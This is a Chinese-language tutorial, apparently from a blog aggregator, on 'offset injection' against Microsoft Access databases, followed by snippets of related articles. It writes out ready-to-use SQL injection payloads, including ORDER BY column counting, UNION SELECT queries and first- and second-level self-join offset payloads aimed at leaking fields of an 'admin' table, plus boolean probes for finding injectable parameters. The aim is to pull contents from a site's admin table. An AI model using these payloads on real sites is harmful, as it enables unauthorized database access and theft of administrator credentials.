ACCESS資料庫偏移注入

2022-08-18 07:48:17 字數 1621 閱讀 3434

偏移注入主要是針對知道表,但是不知道欄位的access資料庫。

比如我們已經知道了表名是 admin

判斷字段數:

order by 22            返回正常

order by 23 返回錯誤

欄位數為 22

爆出顯示位:

判斷表內存在的字段數:

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin       返回同上圖一樣得顯示位頁面

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin 返回錯誤

說明了admin表下有16個字段。

偏移公式如下:

order by 出的字段數減去 * 號判斷出的字段數,然而再用order by的字段數減去2倍剛才得出來的答案

1.   22-16 = 6 

2. 22-(6*2) = 10

所以答案就是 10

注入公式如下:(爆破內容是隨機的)

一級偏移注入公式:

union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)

此時可以增加a.id或者b.id或者a.id和b.id一起加上去來改變隨機爆破出來的內容比如:

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)

二級偏移注入公式:

union select 1,2,3,4,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

此時可以增加a.id或者b.id或者a.id和b.id一起加上去來改變隨機爆破出來的內容比如:

union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

注意:這裡是10個字段再減去了表裡的6個字段,所以二級偏移這裡是select 1,2,3,4

注意:檢視源**有奇效,可能會出現驚喜

SQL注入之偏移注入(Access)

什麼是偏移注入?偏移注入是一種注入姿勢,可以根據乙個較多字段的表對乙個少字段的表進行偏移注入,一般是聯合查詢,在頁面有回顯點的情況下 偏移注入使用場景 在 sql注入的時候會遇到一些無法查詢列名的問題,比如系統自帶資料庫的許可權不夠而無法訪問系統自帶庫。當你猜到表名無法猜到欄位名的情況下,我們可以使...

Access資料庫注入方法

檢測注入型別 1.數字型 and 1 1 返回正常頁面 and 1 2 返回錯誤頁面或者和1 1返回的頁面不同 2.字元型 and 1 1 and 返回正常頁面 and 1 2 and 返回錯誤頁面或者和1 1返回的頁面不同 3.搜尋型 and 1 1 and 返回正常頁面 and 1 2 and ...

ACCESS資料庫的注入

access資料庫的注入access資料庫的注入與mssql不同,要得到表名,字段,以及欄位的內容不能用mssql 暴 的方法直接得 到,access只能用猜解出表名和字段,然後再猜解出字段的長度,最後把字段的內容從第一位到第n位乙個個猜 解出來,採用的猜解方法類似玩乙個遊戲猜大小,比如乙個數字,猜...